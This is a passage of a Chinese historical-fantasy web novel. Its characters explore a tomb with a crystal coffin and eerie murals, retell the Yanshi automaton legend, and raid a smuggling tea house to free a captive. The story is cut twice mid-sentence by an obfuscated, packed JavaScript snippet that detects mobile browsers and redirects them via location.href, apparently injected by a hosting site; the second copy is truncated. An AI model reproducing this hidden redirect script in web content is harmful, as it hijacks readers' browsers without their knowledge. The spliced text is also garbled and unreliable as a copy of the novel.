“山上清静之地,不争输赢,”紫苑笑着放下扁担:“不过,这切磋嘛……” 她摆了个起手式:“蚕姑坨拢共就出了一位师兄,我确实很想领教一下。” “……”魏无功虽然一万个不情愿,但是人姑娘架势都摆好了。 “行吧,你轻点儿。”魏无功接了招。 李在宥看他俩搭上手,挑了个晒得着太阳的风水宝地观战,甚至想抓一把瓜子。 紫苑起手一点不带含糊,竖起手刀就朝着魏无功脑袋招呼,被他用小臂挡住,能听到出掌的风声和打在皮肉上结实的闷响。魏无功左手劲儿比右手大,很快就被紫苑发现了。上路不占优势,于是她立马转而攻他下盘。李在宥看着啧啧称奇,紫苑脚下一个横扫直奔踝骨,被魏无功后跳躲了,整个人像个反躬的虾米,明明屁股都快坐到地上了就是不倒,反而腰力一绷,腾身跃到紫苑身后去了。 高手过招根本不要多久,两三下就见真功夫。紫苑脚步轻点,往后退了三步,双手抱拳说了句:“承让。” “虽说不论,但是确实是我输了,”魏无功也收了架势,冲她笑笑:“谢谢师妹放水。”给紫苑哄得咯咯笑。 李在宥一看,不乐意了,凑过去小声问:“有来有回的,怎么就输了呢?” “论招式肯定是我输了,”魏无功说:“男的劲大占点便宜,所以输相不难看而已。” “啊……这样啊,”李在宥有点儿郁闷,发现自己连门道都瞧不真切,宫里学的和这山上传的,差距恐怕不止一星半点。 “你那个屁股蹲,再鲤鱼打挺的动作,教下我呗。”他戳戳魏无功。 “什么鬼形容……那个叫‘虚步含机’,”魏无功乐了:“好说,你扎个马步先。” 李在宥扎马步蹲好,一脸期待望着他。 “重量放右腿上,左腿放空,对,就是这样,然后往后坐……不够,再往后……” “再往后我就坐地上了!”李在宥开始嚎。 “气提在腰眼,重心控当中,”魏无功在一旁指点,李在宥脑子好用,学什么都快,但是不知道为什么就是总别着股劲不肯撅屁股:“往后坐啊你,摔不了的。” “不是摔不摔的问题……”李在宥哼唧一句:“是这个姿势,它丑……” 紫苑在一旁看热闹,被他逗笑了,说:“练功要紧的是攻防,光好看有什么用?” 李在宥正在憋气,艰难地说:“问题是不好看也不修身养性不是……” 魏无功懒得听他的歪理斜说,决定帮他一把,直接给他人往后按。没想到李在宥突然发力,有样学样,真学着他虚步一点再一翻身,打了他个措手不及。 “你真阴呐你!”魏无功被他从后一扑,一个没留神儿,差点跪在地上,李在宥跟个大狗熊似的扒在他背上,他只好把人背起来:“在这儿等着我呢是吧!” 李在宥老神在在地骑着他说:“明明就是魏大人教得好嘛~” “行,有本事你别下来!”魏无功反手扣住他腿弯,正寻思着怎么样摔他个屁墩儿,突然听见背后玄清子的声音: “无功下山后开朗了许多。” 给他吓得站直了。李在宥也顺势从他背上下来,扯扯衣角,眼观鼻鼻观心,装作无事发生。 “还是要差不多年纪的伴儿,”赵元贞在后头接了一句:“在宥一个人的时候也不吭声。” “不过他的功夫,你们真该好好调教调教,”赵元贞一点李在宥的脑壳,“我早说他花架子多,根基不牢,偏不听。” “人聪明,”玄清子不咸不淡接了一句,没什么表情。 赵元贞笑着冲着两人招招手:“真人要带我们去石室,正好一起吧。在先人睡觉的地方可都严肃点儿,不许打闹。” 两人应了声是,跟在他们后面。李在宥不怕玄清子,但是他就是能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213379|195775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 够感觉玄清子不喜欢他,搞得玄清子在的场合,他都有点不自在。 “我有说错什么话吗?”他悄悄问走在最后头的沈仓。 “出家之人,不喜欢机心。”沈仓小声说。 “明白了,”李在宥撇撇嘴:“还在气张定钧的事儿。” “是……”沈仓点点头,往他肩上拍了拍。 本来蚕姑坨的密室是个禁忌之处,不过现在也瞒不住了。早在魏无功误闯之前,张定钧就已经趟过浑水了。玄清子自己看不破玄机,也不好拦着云昭阁断案,于是带了众人一块儿进去。 一进蚕姑殿,魏无功想起墓道的事情,问玄清子:“师父,石墓前面,曾经有神道吗?” “有,但是在另一边,”玄清子说,指了指蚕姑殿后面的石室:“开门的这面,是主室,神道要往里走。” “那岂不是反了吗?”魏无功有点不理解:“这头才是南边儿。” “是,古怪多着呢,”玄清子说:“神道是朝着地下修的。” “地下……”李在宥看了一眼魏无功,想起了他们之前看到的大墓里反装的墓门,不知道这其中有没有什么联系。 “你们进去都留点儿神,”玄清子开了锁头,嘱咐一句:“虽说这里没什么机关,但是毕竟也有一千年了。” 几个人进了石洞,发现里面空间开阔,空气也很流通,照明的油灯燃烧正常,就是气温确实相较于外面低了不少。石室里没有什么陪葬物,估计是被修建蚕姑殿的前人清空了,只有正中心半人高的石床上,摆着一座水晶棺。 对于汉墓来说,眼前的水晶棺有些太透亮了。 “这样上好的整块水晶,居然不声不响地出现在这里……”赵元贞小声感叹:“墓主人真是厉害!” 李在宥很细心地注意到她没有称呼“蚕姑”而是叫“墓主人”,看来她是对这里的人身份存疑的。他看了一眼玄清子,得了授意才毕恭毕敬走到水晶棺边上,查看棺中的景象: 首先映入眼帘的当然是大块的水晶晶体。 水晶棺整体非常透亮,不过在晶体内部,能看到夹杂有细小的冰裂纹,专门的术语管这种形状叫“绵”与“绺”。在烛火摇曳下,某些特定的裂隙处,竟流转着七彩的虹光。 “这不会是,大雪山来的吧……”李在宥看了眼赵元贞,赵元贞皱着眉头,没有立即回答,因为她也不敢笃定。水晶在很多地方都产,但如此巨大、澄澈、且能泛出虹彩的整料,她也只在书里听过,从没见过。 据云昭阁收录的唐代胡商笔记与宫廷《翰西遗录》记载,吐蕃以西的勃律、迦湿弥罗乃至更远的尼波罗国国境的极高雪山上,偶能采得此种奇石。因为其生性极寒,极难开采,成色又映日生辉、内蕴虹光,被胡商雅称为“冰魄”或“寒月轮”,在丝路鼎盛时也是价值连城的贡品级宝物,寻常商队绝不敢运,怕沿途被诸侯甚至国王截留。如今西域道阻,连大宋的官家都寻不到一颗,他们也自然见不到。 水晶里面,能清晰看到包裹着的墓主人遗骸。□□已经气化,只留下苍白的骨骼,骨骼的夹缝中,是大量的红色晶体,密匝匝的晶体绘出一个大概的人形,看躯壳形态,确实是一名女性。 “你们看着里面的红色晶盐分布,”沈仓说:“头部、胸口、腹脏和大腿最为密集,尤其是胸腹这里:胸口两边对称,腹部略有偏移,符合血管里的血液的走向。” “确实,”赵元贞附和着:“看她剩余的头发和骨骼,去世的时候年纪已经非常大了,体内有这么高浓度的红色晶盐,居然能活到这般年纪……” “你们说,她这算是尸解成仙了吗?”赵元贞抬头问。在密闭的水晶棺中,□□全然不见,只剩下血流的痕迹和舍利,再加上蚕姑得道成仙的传说,很难让人不往这上头去想。 “我觉得没有,”玄清子一向很少参与他们这种讨论,却一反常态下了个结论:“古人言:‘幽墓既美,鬼神既宁’,然而,这墓中的神道既不美也不宁。” 她举起手中的油灯,望向更后方幽暗的隧道,说:“你们且随我来……” 41.天地不全 被玄清子这么一吊胃口,几个人敛了呼吸,安安静静跟着她往内部走去。 李在宥走在队尾,忍不住想那位棺中老妪,越想越奇怪。 棺材里面的光景一览无余,既无衣物也无陪葬,以水晶为棺材的裸葬也不知道是哪里的风俗。除此之外,还有一个更小细节让他很在意:那老人头发是卷的。她去世的时候太老了,所以头发剩得没有几根,黄白的头发玉米须似的稀稀拉拉搭在两边。虽说白头发失去营养确实会变得卷曲,但是…… 他神游天外,眼睛放空,随意落在魏无功的后脑勺上。黑灯瞎火的,魏无功突然猛地一回头,把他吓了一跳。 “嘛呢!”李在宥脚步一顿。 “你要去哪儿?”魏无功看着他问。 “什么去哪儿?”李在宥一脸懵。 “刚你不是说要走吗?” “没啊?我没说话,”李在宥说:“你听岔了吧。” “哦……我说呢,”魏无功看起来也很迷茫:“好端端你又要跑哪里去……” 正说着,前面的赵元贞突然发出一声小小的惊呼,几个人连忙围过去看她怎么了。 “对不起,不好意思,我就是……”赵元贞捂着脸,感觉两颊因为激动有点充血:“我就是有点儿吓着了。” 离她最近的沈仓一抬头,“嚯~”了一声:一张石雕的惨白人脸浮凸在墙壁上,双眼肿胀,嘴角大张,仿佛想呐喊,但是发不出声音。 “明明是常规的生活图景,这风格真的是……一言难尽啊。”赵元贞做了个深呼吸。她胆子小又不好意思承认,这会儿感觉自己有点丢人。 玄清子举灯慢行,火光划过墙上的壁画,那些浮雕在油灯的映衬下,更显面目狰狞。 汉代丧葬,讲求一个“侍死如生”,墓室的壁画除了展现神灵仙兽,也会附上和原墓主人生前从事的生产生活相关的场景,蚕姑墓也不例外,上面画着蚕姑教人们养蚕缫丝的故事。 可是,拥有衣服穿,本应该是一件很幸福的事情,画面上的人却看上去无比痛苦:他们有些人将丝线缠绕在自己身上,看上去像是要窒息一般,另一些人开始互相攻伐,表情或狂躁或悲伤。 越往前走,这种压抑感愈发浓厚,画中人物的线条也越来越粗粝,表达的意向也愈发模糊。那个年代绘画和雕刻技术有限,艺术风格往往有点儿抽象,因此这种集体的痛苦看上去格外不祥。 神道越来越窄,也愈发黑暗,李在宥把赵元贞护到身后,一手捏了她的腕子,另一手接了玄清子手里的油灯,高高举起让大家能看得更清楚。 “这是想说,蚕姑挑动了人间的战争吗?”沈仓是个粗人,看不懂这种上古艺术。 “我觉得不像,”赵元贞回过劲来说:“画面中的蚕姑无悲无喜,只是在做她自己的事情,我觉得她更像人群中的那个唯一的神,更接近于天地不仁一类的哲思……”她眼神闪躲不敢盯着墙上看,看久了感觉神智会被吸进那个光怪陆离的世界里去。“但是不仁不代表着连人间的欢乐也不允许,这画是不是有点太悲观了。” “我觉得还有另一种可能,”李在宥提出了自己的想法:“我不完全认同你刚刚说的蚕姑是神,我反倒觉得她更接近那个古老社会群体中的大祭司或者萨满。” “她在试图联系神,但是好像不得其法——你们看这里,”李在宥举起油灯划过最上面一排纺织的器具: “蚕姑手里拿的是蚕茧和丝线,然后再往前走……到我这里来,能看见这个圆环形的小东西,应该是纺轮,”李在宥看了眼玄清子:“按照正常的纺织步骤,接下来应该是用裁刀剪断丝线,可是壁画在这里缺了一块。” “是一直如此么?”他问。 “不错,”玄清子点点头:“一直如此,没人动过。” 这里整个石刻保存完好,并无外力破坏,唯独最后执掌裁刀之人,手中那块儿被模糊地处理,只留下一块儿凹凸不平的原石。 “这种刻意的留白……”李在宥小心用指尖轻触那处粗糙的原石:“或许是想表达一种‘未完成’,或者说‘天地不全’的概念。” 他顿了顿,让这个念头在昏暗的墓室中沉淀了一下,给出了自己的推测:“蚕姑终其一生,或许都在追寻登仙之法,却始终差那最后一步。所以留下了带有极大怨念的壁画,这也能解释她为什么反修神道——也许她是在负气:既然极乐彼岸不成行,便索性否认有彼岸。” “关于你说的登仙,我有个问题,”一条神道走完,魏无功开了口:“那个年代修仙,常规配置不应该是金缕玉衣,还有引魂幡一类的吗?”他看了一眼玄清子,当着她的面,有点不好意思展示自己摸金倒斗的“学问”。“现在这个墓的陈设也不太像啊……” “如果在宥的分析成立,我觉得她应该是发现了除了尸解仙之外的成仙方法,”赵元贞想了一会儿,说:“她的葬法特殊,墓中又有水晶和大量红色晶盐,能看出很多和西域相关联的地方。” “但是,仅仅是关联而已——从墓葬和壁画的样子,我觉得她不像是从西域逃亡或者迁徙而来,”赵元贞说:“有可能正是因为她去不了西方,所以她在创造各种能和西域产生联结的可能——关于她口中的偃芯,我想,我可能有个故事要讲……” 玄清子听得她讲话,声音有点儿抖,不知道是墓里冻的还是吓的,于是笑了笑,抚着她后背说:“那咱们先出去吧,去暖阁起一壶茶,听故事去。” 出了幽暗的墓室,外边儿阳光依旧很充沛,仿佛里外是两个世界。 蚕姑殿近年因为战乱,反而香火旺盛,于是有余力在前主持的屋边隔出一间暖阁,下挖地炕,两侧拿花椒糊了墙面,中间装厚绒槅扇,待到山上初雪落了,这里便围成了一方温暖天地,可以喝茶赏雪。 几个人脱了鞋袜进去的时候,小豆饼脑袋上搭着本书,四仰八叉睡得正香。赵元贞看她可爱,悄悄凑过去看她在读什么,看到书封的时候愣了一下,问: “你们哪个给她找的书?” “我。”魏无功秒答。心想他对豆饼可真是太好了。 “啊,难怪得……”赵元贞很努力地在压嘴角了,但是根本压不住。 “怎么了?”李在宥爬上暖炕,也凑过去看,看了一眼书名,瞬间捂着脸发出一连串古怪的笑声,笑得肩膀都在抖。 “嘛呢,跟要打鸣了似的”魏无功被他搞得心里毛毛的:“给我看看怎么个事儿?” 李在宥憋笑憋得打颤,把书从豆饼脑袋上轻轻揭了,捂着嘴递给他,指头缝里都能看见咧开的大白牙。 魏无功虽然不明所以,也知道他俩是在笑他,于是白了李在宥一眼,扯过书递给身后的沈仓,小声问:“这写的什么?” 书封上《越人逸史》四个字,他只认勉强得俩。 沈仓看了眼封皮,没看出什么门道,于是把书翻过来,草草扫了一眼,感觉有点不对劲,又前后翻了两下……然后就陷入了沉默。他看了眼魏无功,魏无功眼巴巴地望着他。 “……” 沈仓纠结了一下,拿手拢着嘴,对着魏无功耳朵小声说些了什么。 李在宥看着魏无功“唰”一下红了的耳根,笑得更大声了。 小豆饼被他一连串“噗哈哈哈哈哈”吵醒,噘着嘴揉揉眼睛,嚷到:“额日古昆,你又在做什么坏事?” “小东西,”李在宥笑得肚子好疼,伸手揪了揪她的耳朵尖,“你看书看到哪儿啦?还挺用功。” “哦对,说起书,”小豆饼刚醒,声音奶声奶气的,问:“姑姑,‘贴烧饼’是什么呀,好吃吗?” “我的小姑奶奶!”赵元贞终于忍不住,放弃形象管理开始爆笑,顺手捂了小豆饼的嘴:“你快别说了!”再说那头魏无功脸都要绿了。 魏无功又羞又恼,抄起书就想塞进煮茶的火炉子。“胡闹。”玄清子伸手一拍,那书又落回他怀里:“这里点了都是黑烟。”说着,恨铁不成钢地弹了魏无功一个脑瓜崩,因为手劲儿大,顶着李在宥的奸笑都能听见响。 “好了好了,都收一收,”赵元贞匀着气儿出来打圆场,“正好豆饼也醒了,都坐好,听故事!” 那边李在宥还捂着脸仰躺在炕上,身体一抽一抽地闷笑,起不来身,被魏无功恶狠狠剜了一眼。他实在是忍不住,谁能想到魏都头威风凛凛骑马过市,竟买了本香艳的南风书,还偏偏被小朋友当众念出来。 “就你戏多!”在茶桌的掩护下,魏无功探过去,使劲儿拧了一把他的胳膊内侧,疼得他“嗷”一声叫唤着弹坐起来。 “听故事,听故事……”李在宥搓搓脸,把眼角笑出来的眼泪顺手抹了:“我泡茶!哎呦……泡茶泡茶!” 众人围炉坐好,赵元贞起了个架势,拿茶杯当惊堂木用,在杯垫上轻轻一磕,开始说书: “关于偃芯,我虽并不熟知,但是关于可能制造它的偃师,《列子》里倒是有个故事。”她环顾一圈众人:“说来也巧,这个故事的主角,和之前讲的那位周游列国的周穆王也有点关系。” “传说,穆天子一路西行,越过昆仑,准备返回的时候,有一位从西域来的偃师,向他献艺。 那位偃师对穆王说自己能用人偶模拟出歌舞艺人,与真人无异。穆王大喜,连忙让他拿出来展示。 偃师献出人偶,人偶行走歌舞,果然与常人一模一样,肉眼根本无法分辨。穆王安排人在一旁鼓乐,无论用什么曲调,人偶唱跳舞蹈也都合乎节拍。随心所欲、千变万化、巧夺天工,众人甚至都怀疑这人偶艺伎就是真人扮演的。 穆王稀奇得不行,连忙喊来心爱的姬妾和妃嫔一起观赏。没想到,那艺伎举止轻佻、行为僭越,竟冲着穆王的宠妃抛媚眼儿,气得穆王立即喊人,要把偃师杀了。 偃师为了活命,赶紧动手把人偶艺伎拆成碎片,展示给穆王看,说,真的不是在下授意,是它自己的主意! 穆王凑过去仔细瞧,那人偶内部和人一样,有着五脏六腑、心肝脾肺肾,都是用皮革、木头、树脂等材料做成的。连接关节、皮毛、齿发的经络也齐备,用各种漆、炭、丹砂一类的颜料染色。 穆王啧啧称奇,虽然人偶是假物,可和人一样该有的一样也不少,甚至还有和真人一样的情感,见到美人也忍不住想要眉目传情。 最终,穆王释放了偃师,并奖赏给他一座城池,把他做的人偶重新拼好带回了宫里。” 赵元贞到这里顿了顿,正好李在宥茶沏好了,迎香扑鼻,芬芳满室,她感叹:“这山里的茶叶比御贡的还香!”玄清子不知道是不是在粗茶里混了山药和花草,茶叶发出非常馥郁温润的香气。 赵元贞看着李在宥把茶叶倒进画着仙姑的茶盅,说:“这个故事不一定全是真的,毕竟如此技术,远超当时墨家已有的云梯、飞鸢,已经不像是机关之术的范围了,” 她端起自己的杯子,深吸一口气:“不过,如果是与巫术结合,能不能做到,还真说不定……” 玄清子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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蚕姑向往着那个世界,却无通达天门的引路人,于是她只能翻阅当世的所有书籍,希望在里面找到方法。一本墨家的遗书启发了她,让她找到了偃师和丝织之间的某种联系,制作出了这颗偃芯,希望能够控制自己的命运,将□□托身人偶永远长生,灵魂化作蚕蛾直抵上境……” 玄清子说到这里,眼神流露出一些惋惜:“她几乎就要成功了,可惜天不假年,未及成仙,她就提前预测了自己的死亡。 她不甘心,命人将她的遗骸装在水晶棺中,方便观察。她说:‘如果我死后没有留下舍利,那便是超脱了因果’。不过……棺中的情形你们也见到了。 众人互相对视,均是唏嘘不已。 “不仅如此,在她实验的过程中,貌似还意外触发了某种古老的诅咒——等到后世人上山时,惊讶的发现,她的孩子们都变成了红色的人蛹。” 玄清子讲到这里,赵元贞他们就大概明白所谓的魔鬼丹在易州现世是怎么回事了。“人们很快发现了红色人蛹的特殊,于是大着胆子,一只寻摸到了蚕姑的水晶棺,不过……” “等他们拿出蚕姑口中的偃芯时,那些人蛹突然齐刷刷动了,并且周身出现了各种恐怖异象,把那些误闯者吓个半死,怕是惊动了什么不得了的邪祟,便仍将偃芯放入她口中衔着。” 玄清子又呷了一口茶:“为了安抚这些灵魂,他们建了庙宇,设了祭坛法场,这才有了现在你们看到的蚕姑殿。” “和您一样,这些故事我也是道听途说而来,”玄清子讲完,很严谨地补了一句:“我后来搜寻过故事里那个墨家记载偃师的遗书,并没有找到,所以这个故事有多少可信的,居士们还是审慎定夺。” “历史上的故事,受限于当时的认知水平和政治压力,总是有些模棱两可的地方,有些细节对不上也正常,”赵元贞看着桌上的红色机簧说:“不过,这两个故事联系起来,至少有一件事能够确定:那就是从古至今,一直有人在试图控制那个神秘的力量,并且已经走得很深了,我很好奇有没有更深的……” 她有点想开口问玄清子要手中的偃芯拿去研究,看蚕姑做到哪一步了,但是能感知到玄清子对于她和李在宥的不信任,不好贸然开口。于是脑袋滴溜一转,想用张定钧的事情做文章,套一套玄清子的真心。 “蚕姑试图改造蚕茧,貌似造成了不幸,不过,张将军在世的时候,却是拿它做了善举。”赵元贞给李在宥使了个眼色,说:“张将军当时控制赤焰军的样子,您没有见过,但是在宥他们见过,非常接近那个偃师的故事,只不过他操纵的不是人偶,而是活人,所向披靡,有万夫不当之勇。” “说起张将军,他和赤焰军,现在也是我大宋子民,”李在宥心领神会,把张定钧一顿夸,大书特书他给赤睛魔王续命的事情。连沈仓都听出不对劲,抬头看了他一眼,心想云昭阁什么时候和张将军这么好了。 “为了感谢他,那几个赤睛魔王兄弟把所有的军饷都拿出来,凑钱给他打的棺材,那个质地您也看见了,”李在宥摆出一副唏嘘的样子说:“可惜,被金人逼得太紧,不然他还要救更多人性命……” 玄清子并没有外露太多的情绪,只是看了一眼魏无功,似乎是在求证。魏无功不知道该说什么,轻轻点了个头。 “他想必已经参悟了偃芯更好的用法,”李在宥不着声色地说:“可惜朝廷待他不公,他不肯透更多给枢密院,只留了个谜语,让我们上蚕姑坨解。” 玄清子听完,沉默良久,手都已经伸到那块儿布上了,紫苑却突然进来,打断了她要说的话: “不好了师父,木鸢回来了,外国居士好像出事了!” 42.火与茶 暖阁里,几个人都坐直了身子。 紫苑说的“外国居士”指的是现在替云昭阁跑腿的阿尔斯兰,木鸢是赵元贞找玄清子特意订的,为了方便他传递消息,给了他一只留用。 “这……”离门最近的沈仓接过紫苑匆匆忙忙递来的木鸢,发现鸢腿上并无信件,只嘴里衔着一片茶叶。他将叶子捏了给玄清子和赵元贞看,问:“这是何意?” 那是一片小小的黑茶叶,梗粗叶碎,质地粗糙,上头还带着潮气。 “可能指的是山脚下一个茶庄,”玄清子飞快地思索了一下:“掌柜的姓钱,养了一帮细作(间谍),年初来我这儿收药茶,我看他来路不正把他打发走了。” “他这是被人捉了?”李在宥瞥了一眼又被玄清子收回去的偃芯,很不甘心地撇撇嘴。 “有可能,我最近让他往上游联系找找更大的卖家线索,但是他之前就说过,光明血的地下市场等级森严,山头林立,难得插进去,估计这次是探太深了,”赵元贞轻轻推了一下李在宥,示意他赶紧行动:“他得保,还有用。” “紫苑,喊上你姐姐,带他们去。”玄清子很果断地出了人手。 “我也要去!”小豆饼站起来一举手。 “饼,好好坐着,”沈仓连忙把她按下:“他们可不是下山去玩儿的。” 看着小豆饼在沈仓胳膊底下不乐意地扭,赵元贞想了想:“要不……让她去吧,”她看了一眼门口抱着胳膊站着的紫苑,说:“他们几个练家子下山太扎眼了。” 赵元贞顾虑得也对,庆祥茶庄在狼牙山余麓一处隐蔽的河湾,离蚕姑坨很近,但是从来都是井水不犯河水。蚕姑坨的姑子本就个顶个气质张扬,加上李在宥和魏无功又是两个高大的男子,带个娃娃一起不容易让人起疑。 玄清子看了眼赵元贞,没有反对,只是冲着火炕边上穿鞋的魏无功嘱咐了一句:“把人全须全尾都带回来。” 魏无功应了声是。李在宥简单地把自己和魏无功收拾了一下,换成普通山民打扮。几人挑着装药茶扁担,把豆饼装在背篓里,一齐下山。 “那个茶庄是哪边的细作,辽人的还是金人的?”李在宥问。 “都有。”青杏说话字很少。她和紫苑是双胞胎,但是性格差别挺大。紫苑活泼开朗,她的性格倒是更像她们师父玄清子,不苟言笑。李在宥在后面悄悄打量了一下她的身形骨架,感觉新的战斗力天花板又出现了。 “他们茶叶是明面儿上的生意,私底下也管运货,不分藩汉,只要给钱的都运,”紫苑说:“再加上这几年打仗,北边草原上缺茶缺得厉害,钱掌柜想不赚钱都难。” “确实,”李在宥点点头。北方游牧民族吃肉不消化,茶叶既能解腻又好携带,一直是军队的刚需。遇上脑子活泛一点的茶商,要是能顺手走私一些情报、军火……虽然大宋官方一直明令禁止走私,但是如此利益之下,铤而走险也不足为奇。 青年男女们腿脚很快,不一会儿就到了山下。茶庄正门口向阳,是一片晒青的晒场,几十个装茶叶的箩筐一垛一垛码在竹架上。主楼是一个小两层的茶栈,不算很大,一楼的大堂两侧零散摆放一些桌椅,能喝茶也能打尖儿,二楼主要是谈生意和住宿的包房。再往后头是平层的制茶的工坊和堆茶砖的库房,一般不放人进去——如果阿尔斯兰在这里的话,大概率是藏这里面了。 几个人一番合计,决定由紫苑和青杏带着豆饼正门探路,先把管事的支走,李在宥和魏无功想办法从后头摸进去。 魏无功有点不放心,毕竟玄清子嘱咐过要保护她们安全。李在宥于是把衣兜里的瓷蒺藜掏了一个出来,说:“这玩意儿我改造过,药量稳定,威力不算大,但是声音很响,能唬人,情况不好你们就扔一个。” 他把这个放进看起来更稳重一些的青杏手上,青杏冲他点点头,带着女孩儿们进去了。 “钱掌柜!”紫苑还没进门,在晒场就喊起来了,声音脆生生的:“药茶还收不收啦!” 一个大堂里干活儿的跑堂走出门,看见两个道姑打扮的人还带着丫头,果然没起疑心,直接将两人迎了进去。 “玄清真人终于舍得出茶了?”在大堂忙活的账房也看了一眼她们,他和钱掌柜一起去收的茶,对蚕姑坨有印象。 “本来是不出的,”紫苑卸了扁担,将四筐茶叶往大堂地上一放:“但是师父说今年要修殿,开销太大了,还是得东西凑一点。” “这可是惊蛰前挖出来的好草药晒的,个头大气味儿足,你闻闻!”紫苑打开其中一个框子,揪了一把药茶摊在手心让店里的伙计们来看。这里的伙计平时大概是不怎么见到姑娘,这会儿都放下手头的活儿,齐齐凑过来,也不知道是看茶还是看人。站在他们后面半个身位的青杏翻了个白眼。 这时候,竹筐里的豆饼站了起来,两个胳膊环在她脖子上,凑到她耳边说:“杏儿姐姐,你看那几个人的手。”青杏闻言,悄悄打量起来这几个男子: 顺着紫苑摊开的手指指点点的伙计,手上虎口处和食指关节有老茧,指头上有可能还说得过去,虎口……怕不是搓茶而是是拉弓磨出来的。再看那个跑堂,裤子最下面绑着腿,看肌肉轮廓,也是练过的。 小小茶庄,不简单呐。她心里想。 “你们哪个是姐姐,哪个是妹妹呀,”账房嘴里镶颗金牙,人倒是没凑上前来,仍在掌柜台后面算账,这会儿笑眯眯望着青杏拉家常。 青杏看了他一眼,感觉他的眼睛像鹰隼,透着审视。这边在打量,那边亦在打量她们。她回了一句:“她后生的。”眼睛向上迅速划过,一楼加上账房一共六个人,不算很多,二楼还有两个在栏杆处往下望,手里拎着热茶壶,看来包房里还有其他人在。 “钱掌柜忙什么去了,还不出来,”紫苑也向上瞥了一眼,半真半假地埋怨:“什么客人这么重要。” “官老爷在呢,这会儿可不敢喊他,”一个穿马褂的小伙计明显是想跟紫苑套近乎:“十几箱的大生意,一时半会儿出不来,姐姐们要不先坐会儿……”他用搭在肩上的抹布装模作样在两边的桌上擦擦,邀请两姐妹入座。 “玄清真人是想做一锤子买卖,还是长期买卖啊,”账房放下算盘,走到她们桌前:“一次性的跟我谈就行了,头道杵肯定不让你们吃亏。”他眼睛越过青杏背着的竹篓,把小豆饼盯得缩回了筐里。 紫苑刚要答话,突然听得后面的库房传来“嘭”一声巨响,音浪扑过耳膜,她和青杏一秒都没犹豫,直接对着对面就出手了。 虽然不知道为什么李在宥那边的瓷蒺藜先炸了,但是俗话说“先出手为强”,训练有素的姑子们非常快速地接应。 楼下的动静自然也惊了包厢里的人,钱掌柜跟客人忙不迭从屋里出来往下查看。小豆饼紧紧抓着打斗中的青杏的肩膀,咬牙切齿地骂了一句:“妈的,金狗!” 青杏正在和跑堂的伙计缠斗,听见她说话,匆匆抬头往上一扫,原来是钱掌柜身后跟着两个金人打扮的人,一胖一瘦,十分倨傲地拿鼻孔朝下看人。钱掌柜看一楼的伙计们居然落了下风,刚想招呼二楼的也去帮忙,那个瘦子金人将他拦下了,点了二楼几个精壮的手下说:“先去后头。” 那头。李在宥和魏无功本来潜进还算顺利。虽然后面库房有巡逻的,但平时大概没什么人来打扰,几个小哥儿也是巡得闲闲散散晃晃悠悠,没出一秒就被魏无功放倒了。 两人顺着开得非常高的小天窗爬进去,跳进一摞码好的茶砖里。李在宥伸手搓了一把,正是木鸢嘴里的碎黑茶,心忖地方应该是来对了。 “好家伙,钱掌柜这生意做得真大啊。”李在宥感叹一句。库房的茶砖摆得很密集,一垛一垛几乎一直堆到房顶,就算不是好茶,这个规模也不是寻常走私犯敢囤的。 “好像没地窖,”魏无功翻身跳到地板上,在库房窄小的道路上弓着摸索,没有什么活动的板块,两侧茶砖堆满了,看上去也没有暗门:“会不会已经把人转移走了?” “往前找找箱子吧,”李在宥说:“貌似只剩箱子篓子能藏人了。” “好,”魏无功应了一句,带头往前走。绕过迷宫一般的库存,也没看到装箱的地方,再往前就是制茶的工坊了,他有一点犹豫要不要往前。蒸茶的操作间光线很暗,全是蒸腾出来的氤氲雾气,几乎没有视野。 李在宥看他不动了,在后面说:“走吧,我们看不清,但是他们也看不清咱们不是?” “也对,”魏无功想想也是这么个理儿:“你自己小心点儿。” 两人猫着腰摸进去,立刻被蒸茶间湿热的水汽糊了一脸,只能依稀看见地上巨大的蒸桶和炒茶叶的灶台轮廓。烹茶的锅子被人翻炒着,漏出来的火光在雾气里一阵阵明暗闪烁。作坊里的伙计都忙得热火朝天,几乎没怎么注意他俩。 “小狗鼻子,闻出什么来没有?”李在宥点点魏无功的后背。看着干活儿的人貌似都还挺正常,不像是沾上光明血的样子,实在是想不通阿尔斯兰怎么能得罪这帮人。 魏无功摇摇头。这里面茶香味儿太浓了,他并没有嗅到任何异常。他冲后面的李在宥招招手,示意他从压茶砖的石臼边上绕过去,粗长的杠杆一头拴着重石,隐约能见到后头一些大竹筐,边上有人蹲守着,像是在盯梢。 “是这个,”魏无功小声说。或许是怕阿尔斯兰憋死,这几个筐子放得位置距离通风口很近,雾气相对稀薄,魏无功眼睛尖,一眼看出筐边坐着的人没在干活儿,和撸起袖子大汗淋漓蒸茶炒茶的气氛格格不入。 魏无功沿着墙根儿飞速靠近,守竹筐的是个普通匠人,隔着层层白雾,无知无觉。阿尔斯兰体质特殊,感知到他们来了,轻轻哼唧了一声,在炒茶的铁锅铁铲的金石之声中并不明显,然而魏无功耳朵敏锐地捕捉到了。 他从竹筐后面摸到看守边上,在他后颈一捏,人脑袋一歪,直接坐着就晕了过去。李在宥也没管他看不看得见,冲他竖了个大拇指,从兜里掏出一个几事儿(类似多用刀,里面有镊子、剪子、小勺子等物件),在竹筐后面掏洞,把阿尔斯兰放出来。魏无功猫在一边给他放哨。 本来一切进行得很顺利,阿尔斯兰瘦小轻盈,弄出来也不费多大劲,几个人刚准备往窗户外头爬的时候,工坊大门突然大大拉拉打开了。外头的冷空气瞬间冲入,和他们背后的通风口来了个对流,将弥漫的蒸汽撕开了一道口子。 “军爷!您怎么也在这儿?!” 一个熟悉的声音从他们背后响起。 